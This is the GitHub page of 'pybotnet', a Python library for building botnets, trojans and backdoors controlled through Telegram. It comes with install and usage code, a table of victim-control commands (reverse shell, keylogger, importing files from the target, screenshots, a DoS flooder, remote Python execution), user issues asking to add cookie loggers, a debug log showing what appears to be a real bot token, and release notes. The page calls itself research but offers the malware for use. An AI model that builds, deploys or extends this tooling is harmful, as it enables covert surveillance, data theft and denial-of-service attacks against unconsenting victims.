pybotnet - A Python Library for building Botnet , Trojan or BackDoor for windows and linux with Telegram control panel

Overview

trojan horse

pybotnet

A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel

Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.

Persian document داکیومنت فارسی

Features:

  • Telegram anti-filter control panel
  • reverse shell
  • keylogger
  • extract target info
  • sleep source by Optional message
  • export file/s to target's system
  • import file/s from target's system
  • screenshot
  • Task Scheduler
  • Website Opener
  • Sound Player
  • Denial-Of-Service Attacker
  • Python Code runner

for more, see commands table at the end of this page

Requirements:

  • Python 3.6 or higher
  • Telegram account

Usage:

pip install pybotnet
from pybotnet import pybotnet
import time

# change TELEGRAM_TOKEN and  ADMIN_CHAT_ID to valid data:

# telegram api token (Get it from the telegram @botfather)
TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'

# telegram account number ID (get it from @userinfobot)
ADMIN_CHAT_ID = '12345678910'



# * show_log:          just for debugging
# * send_system_data:  send system short info in every bot messages in telegram

bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID,
                        show_log=True, send_system_data=True)

delay = 7

while True:
    print('*-*'*15)
    bot.get_and_execute_scripts_by_third_party_proxy()
    time.sleep(delay)

Commmands:

Send the desired command to your bot in telegram, using the admin account registered in the trojan.

to run a command on only one target, use : <Target_MAC_Address> <command> ,Example: 66619484755211 get_info

COMMAND Sample DOES THIS version tested on
get_info get_info returns system info 0.06 windows, linux
do_sleep <scconds> <message (Optional)> do_sleep 99999 hi, i see you! Sleeps with printing a message. 0.08 windows, linux
cmd <system command> cmd mkdir new_folder cmd cd .., cmd ls runs system commands in shell or cmd 0.07 windows, linux
export_file <link> export_file https://github.com/onionj/pybotnet/archive/refs/heads/master.zip file will be exported on the target machine and saved to the script path 0.14 windows, linux
import_file <file_route> import_file /home/onionj/folder/somting.png imports a file from target system (limit:5GB & 20min) 0.17.0 windows, linux
screenshot screenshot Takes a screenshot, uploads it to the online server and returns the download link 0.18.1 windows, linux
help help sends help menu 0.18.5 windows, linux
/start /start runs help command !! 0.18.7 windows, linux
<MAC_Address> reverse_shell or reverse_shell 66619484755211 reverse_shell and exit for exit! starst reverse shell on the target machine 0.20.1 windows, linux
keylogger keylogger start and keylogger stop to stop the keylogger Starts a keylogger on victim's system. keylogger can't handle persian words very correctly 0.21.1 windows, linux
scheduler scheduler start ,stop , list Adds a schedule to be run each n second 0.25.3 windows, linux
playsound playsound <sound-name> Will play a sound. Playsound can only play MP3 or WAV Files. 0.25.3 windows, linux
openurl openurl <url> <how-many-times> Will open a url n times. 0.25.3 windows, linux
dos dos <attack-type [GETFlood-ACKFlood]> <target-ip> <target-port> <thread-number> <payload-size> Will run Denial-Of-Service Attack. 1.0.0 windows
runcode runcode <code> Will run python code, The code should be written in a seperate line with correct python syntax, Because of python limitations , The function can't return the results. 1.0.0 windows, Linux

If you like this repo and find it useful, please consider ★ starring it (on top right of the page) and forking it :)

TODO List

Sample GUI Trojan created by pybotnet: VINET

Infected Game With PyBotNet: Infected Game With PyBotNet

Contributors

Thanks goes to these wonderful people :


oNion


TorhamDev


SepehrRasouli

Comments
  • ImportError

    ImportError

    Hi, onionj. When I imported pybotnet and ran the code I got this error. ImportError: cannot import name 'util' from partially initialized module 'pybotnet' (most likely due to a circular import) Would you help me, please?

    bug help wanted 
    opened by Ali-Imangholi 13
  • I have a problem running the file main.py

    I have a problem running the file main.py

    Traceback (most recent call last): File "/data/data/com.termux/files/home/pybotnet/pybotnet/main.py", line 3, in from . import * ImportError: attempted relative import with no known parent package

    opened by pbthong 6
  • Develop botnet

    Develop botnet

    Hi my friend, this project is great, but its options are few, I am waiting for amazing updates and adding options for keylogger, screenshot, download, upload, etc. Please develop the botnet.

    opened by alix1011 6
  • Xlib.error.DisplayNameError: Bad display name

    Xlib.error.DisplayNameError: Bad display name ""

    first, i like this botnet.. is good because using telegram . .. but i got this error :

    Traceback (most recent call last): File "/usr/local/lib/python3.7/runpy.py", line 183, in _run_module_as_main mod_name, mod_spec, code = _get_module_details(mod_name, _Error) File "/usr/local/lib/python3.7/runpy.py", line 142, in _get_module_details return _get_module_details(pkg_main_name, error) File "/usr/local/lib/python3.7/runpy.py", line 109, in _get_module_details import(pkg_name) File "/usr/local/lib/python3.7/site-packages/pybotnet/init.py", line 1, in from .pybotnet import PyBotNet File "/usr/local/lib/python3.7/site-packages/pybotnet/pybotnet.py", line 2, in from . import util File "/usr/local/lib/python3.7/site-packages/pybotnet/util.py", line 20, in from pynput import keyboard File "/usr/local/lib/python3.7/site-packages/pynput/init.py", line 40, in from . import keyboard File "/usr/local/lib/python3.7/site-packages/pynput/keyboard/init.py", line 52, in from ._xorg import KeyCode, Key, Controller, Listener File "/usr/local/lib/python3.7/site-packages/pynput/keyboard/_xorg.py", line 39, in from pynput._util.xorg import ( File "/usr/local/lib/python3.7/site-packages/pynput/_util/xorg.py", line 40, in _check() File "/usr/local/lib/python3.7/site-packages/pynput/_util/xorg.py", line 38, in _check display = Xlib.display.Display() File "/usr/local/lib/python3.7/site-packages/Xlib/display.py", line 89, in init self.display = _BaseDisplay(display) File "/usr/local/lib/python3.7/site-packages/Xlib/display.py", line 71, in init protocol_display.Display.init(self, *args, **keys) File "/usr/local/lib/python3.7/site-packages/Xlib/protocol/display.py", line 84, in init name, protocol, host, displayno, screenno = connect.get_display(display) File "/usr/local/lib/python3.7/site-packages/Xlib/support/connect.py", line 73, in get_display return mod.get_display(display) File "/usr/local/lib/python3.7/site-packages/Xlib/support/unix_connect.py", line 76, in get_display raise error.DisplayNameError(display) Xlib.error.DisplayNameError: Bad display name ""

    can you help ? ,

    help wanted question 
    opened by BJM15 3
  • Help me

    Help me

    Hi, I couldn't create main.py for myself, how should I add voice recorder and screen recorder to my file or add key logger or Google cookie logger? please help me

    opened by Rezahackm 3
  • Enhancment for pybotnet

    Enhancment for pybotnet

    Hello again , Onionj. Pybotnet does a great job in solving the issue of Telegram being blocked in Iran , but this app is not only intended for Iranian's so I believe that using a proxy in countries where freedom of speech is respected might not be useful so we can make it an optional choice. What are your thoughts ? SepehrRS

    wontfix 
    opened by SepehrRasouli 3
  • A question about configs.py.sample

    A question about configs.py.sample

    Hi, Onionj. I've read your Persian documentation and i noticed that you said the delay should not be less than 10. why? and why you haven't write the same for the English documentation? Because the delay in the README.MD version of configs.py.sample has a delay of 7 seconds and the delay in the original configs.py.sample code has a delay of 10 seconds. What are your thoughts ? How can we fix this ? SepehrRS.

    question 
    opened by SepehrRasouli 3
  • Added keylogger to pybotnet

    Added keylogger to pybotnet

    The keylogger command was added , and to activate it the user has to send keylogger start. the function will handle whether the keylogging system is activated already or not. If not , the function will send an error to deactivate the keylogger , the user has to send keylogger stop. the function will handle whether the keylogging system is activated or not. if not , it will send an error , otherwise , keylogging will be stopped and it will send the url to logged keys zip file. the keylogging system cannot handle Persian words very well , but all English words are handled correctly. all keys will have dates to indicate when they were recorded. all keys will be recorded in a textfile named klog.txt by default.

    opened by SepehrRasouli 3
  • error in open[SOLVED]

    error in open[SOLVED]

    hey i'm using this on windows 10, and when i place token and admin id in source and run it, i got this error

    Traceback (most recent call last):
      File "d:/My-projects/botnet_for_systems_pico_ducky/main.py", line 2, in <module>
        from pybotnet import BotNet, TelegramEngine
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\__init__.py", line 3, in <module>
        from .botnet import BotNet as BotNet
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\botnet.py", line 15, in <module>
        from .context import Context
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\context.py", line 9, in <module>
        class Context:
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\context.py", line 37, in Context
        def get_all_global_values(cls) -> dict[Any, Any]:
    TypeError: 'type' object is not subscriptable
    

    what should i do?

    opened by ebad84 2
  • Transfer all functions to util.py

    Transfer all functions to util.py

    Hi Onionj. As a contributor, I've a hard time trying to write new features and I can't use the pybotnet's features so I've to kinda invent the wheel again every time I want to run a command and etc. I would be very happy if you consider transferring all the useful features and their functions to util.py so the contributors wouldn't have a hard time trying to write new and useful features.

    opened by SepehrRasouli 2
  • Mybot can not receive and execute command

    Mybot can not receive and execute command

    Mybot had contacted my telegram successfully but when i type commands (/who, /help,...) the bot still can not get and execute them. Here is the log:

    DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet :

    My python 3.8, pybotnet>=2 What can i do now?

    help wanted question 
    opened by hanoivip 1
Releases(v2.2.2)
  • v2.2.2(Sep 3, 2022)

  • v2.2.1(Aug 16, 2022)

  • v2.2.0(Aug 5, 2022)

  • 2.1.0(Jul 2, 2022)

    Everything has changed in version 2.1.0 !

    To view the document, go to this link: https://onionj.github.io/pybotnet/

    Features:

    • Ability to easily add custom scripts
    • external scripts
    • to add custom control panel
    • in Telegram control pannel and proxy
    • in scripts like:
      • reverse shell
      • put or get file
      • run python code on target systems
      • get screenshot
      • keylogger
      • dos
      • scheduler
      • ...
    • Cross platform
    • remote control to your apps ...
    Source code(tar.gz)
    Source code(zip)
  • 2.0.9b0(Jun 27, 2022)

    Everything has changed in version 2 !

    To view the document, go to this link: https://onionj.github.io/pybotnet/

    Features:

    • Ability to easily add custom scripts
    • Import external scripts
    • Ability to add custom control panel
    • Built in Telegram control pannel and proxy
    • Built in scripts like:
      • reverse shell
      • put or get file
      • run python code on target systems
      • get screenshot
      • keylogger
      • dos
      • scheduler
      • ...
    • Cross platform
    • Add remote control to your apps
    • ...
    Source code(tar.gz)
    Source code(zip)
  • v1.0.5(May 31, 2022)

  • v1.0.4(Nov 29, 2021)

    https://github.com/onionj/pybotnet/pull/21#issue-1065277047

     @SepehrRasouli:
    runcode command had a problem like cmd command , which it would run forever non-stop , so I fixed it with the same solution i used for the cmd command.
    I also edited some minor things and tested the code , and the code worked properly.
    Please change the version.
    If you encountered any problem , contact me.
    
    Source code(tar.gz)
    Source code(zip)
  • v1.0.3(Oct 14, 2021)

    Features:

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • extract target info
    • sleep source by Optional message
    • export file/s to target's system
    • import file/s from target's system
    • screenshot
    • Task Scheduler
    • Website Opener
    • Sound Player
    • Denial-Of-Service Attacker
    • Python Code runner
    Source code(tar.gz)
    Source code(zip)
  • v1.0.1(Oct 12, 2021)

    Features:

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    • Task Scheduler
    • Open Website
    • Play Sound
    • Denial-Of-Service Attack
    • Run python code
    Source code(tar.gz)
    Source code(zip)
  • v0.25.3(Oct 5, 2021)

    Features

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    • Task Scheduler
    • Open Website
    • Play Sound
    Source code(tar.gz)
    Source code(zip)
  • v0.21.3(Sep 21, 2021)

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.20.8(Sep 18, 2021)

    trojan horse

    pybotnet

    A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel

    Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.

    Persian document داکیومنت فارسی

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • reverse shell
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.18.7(Jul 28, 2021)

    new:

    • add help and /start command

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.18.6(Jul 24, 2021)

  • v0.18.5(Jul 22, 2021)

  • v0.18.1(Jul 22, 2021)

    Features:

    get command from telegram and execute scripts
    get command and send message by third party proxy
    get target info
    sleep source by Optional message
    get ls (dirctory list)
    export file to targets system
    import file from target system
    + get screenshot
    
    Source code(tar.gz)
    Source code(zip)
  • v0.17.0(Jul 17, 2021)

    Features:

    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system
    • import file from target system
    Source code(tar.gz)
    Source code(zip)
  • v0.15.5(Jul 3, 2021)

    Features:

    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system (target download a link :) )
    • for more see commands table end of this page
    Source code(tar.gz)
    Source code(zip)
Owner
:) -> Geek
</oNion
Fast python tool to test apache path traversal CVE-2021-41773 in a List of url

CVE-2021-41773 Fast python tool to test apache path traversal CVE-2021-41773 in a List of url Usage :- create a live urls file and use the flag "-l" p

Zahir Tariq 12 Nov 09, 2022
Cobalt Strike < 4.4 dos CVE-2021-36798

CVE-2021-36798 CVE-2021-36798 Cobalt Strike 4.3 dos 用法 python3 CVE-2021-36798.py BeaconURL 打瘫Cobalt Strike 只需要一个包 已测试 4.3 4.2 参考: https://labs.sent

37 Nov 09, 2022
log4j2 passive burp rce scanning tool get post cookie full parameter recognition

log4j2_burp_scan 自用脚本log4j2 被动 burp rce扫描工具 get post cookie 全参数识别,在ceye.io api速率限制下,最大线程扫描每一个参数,记录过滤已检测地址,重复地址 token替换为你自己的http://ceye.io/ token 和域名地址

5 Dec 10, 2021
The best Python Backdoor👌

Backdoor The best Python Backdoor Files Server file is used in all of cases If client is Windows, the client need execute EXE file If client is Linux,

13 Oct 28, 2022
对安卓APP注入MSF PAYLOAD,并且对手机管家进行BYPASS。

520_APK_HOOK 介绍 将msf生成的payload,注入到一个正常的apk文件中,重新打包后进行加固,bypass手机安全管家的检测。 项目地址: https://github.com/cleverbao/520apkhook 作者: BaoGuo 优点 相比于原始的msf远控,此版本ap

BaoGuo 368 Jan 02, 2023
Wonk is a tool for combining a set of AWS policy files into smaller compiled policy sets.

Wonk is a tool for combining a set of AWS policy files into smaller compiled policy sets.

Amino, Inc 140 Dec 16, 2022
NS-Defacer: a auto html injecter, In other words It's a auto defacer to deface a lot of websites in less time

Overview NS-Defacer is a auto html injecter, In other words It's a auto defacer

NightSec 10 Nov 19, 2022
Python APK Reverser & Patcher Tool

DTL-X An Advanced Python APK Reverser and Patcher Tool. --rmads1: target=AndroidManifest.xml,replace=com.google.android.gms.ad --rmads2: No Internet (

DedSecTL 10 Oct 31, 2022
A collection of intelligence about Log4Shell and its exploitation activity

Log4Shell-IOCs Members of the Curated Intelligence Trust Group have compiled a list of IOC feeds and threat reports focused on the recent Log4Shell ex

Curated Intel 172 Nov 17, 2022
NEW FACEBOOK CLONER WITH NEW PASSWORD, TERMUX FB CLONE, FB CLONING COMMAND. M

NEW FACEBOOK CLONER WITH NEW PASSWORD, TERMUX FB CLONE, FB CLONING COMMAND. M

Mr. Error 81 Jan 08, 2023
Kunyu, more efficient corporate asset collection

Kunyu(坤舆) - More efficient corporate asset collection English | 中文文档 0x00 Introduce Tool introduction Kunyu (kunyu), whose name is taken from , is act

Knownsec, Inc. 772 Jan 05, 2023
The Decompressoin tool for Vxworks MINIFS

MINIFS-Decompression The Decompression tool for Vxworks MINIFS filesystem. USAGE python minifs_decompression.py [target_firmware] The example of Mercu

8 Jan 03, 2023
Cve-2022-23131 - Cve-2022-23131 zabbix-saml-bypass-exp

cve-2022-23131 cve-2022-23131 zabbix-saml-bypass-exp replace [zbx_signed_session

东方有鱼名为咸 135 Dec 14, 2022
Show apps recorded storage files by jailbreak

0x101 Show registered storage files of apps by jailbreak Legal disclaimer: Usage of insTof for attacking targets without prior mutual consent is illeg

0x 4 Oct 24, 2022
This exploit allows to connect to the remote RemoteMouse 3.008 service to virtually press arbitrary keys and execute code on the machine.

RemoteMouse-3.008-Exploit The RemoteMouse application is a program for remotely controlling a computer from a phone or tablet. This exploit allows to

Podalirius 25 Dec 04, 2022
Official repository for Pyew.

pyew Pyew is a (command line) python tool to analyse malware. It does have support for hexadecimal viewing, disassembly (Intel 16, 32 and 64 bits), PE

Joxean 362 Nov 28, 2022
Unauthenticated Sqlinjection that leads to dump data base but this one impersonated Admin and drops a interactive shell

Unauthenticated Sqlinjection that leads to dump database but this one impersonated Admin and drops a interactive shell

sam 16 Nov 09, 2022
WpDisect is a wordpress hacking tool that finds vulnerabilities in wordpress.

wpdisect WpDisect is a wordpress hacking tool that finds misconfigurations in wordpress. Prerequisites You need to download wordpress in the wpdisect

3 Feb 20, 2022
"KeyLogger-WebService" Is a Keylogger Write In python.

KeyLogger-WebService "KeyLogger-WebService" Is a Keylogger Write In python. When you Inject the file on a computer once the file is opened on the comp

Freddox 21 Dec 16, 2022
A python module for retrieving and parsing WHOIS data

pythonwhois A WHOIS retrieval and parsing library for Python. Dependencies None! All you need is the Python standard library. Instructions The manual

Sven Slootweg 384 Dec 23, 2022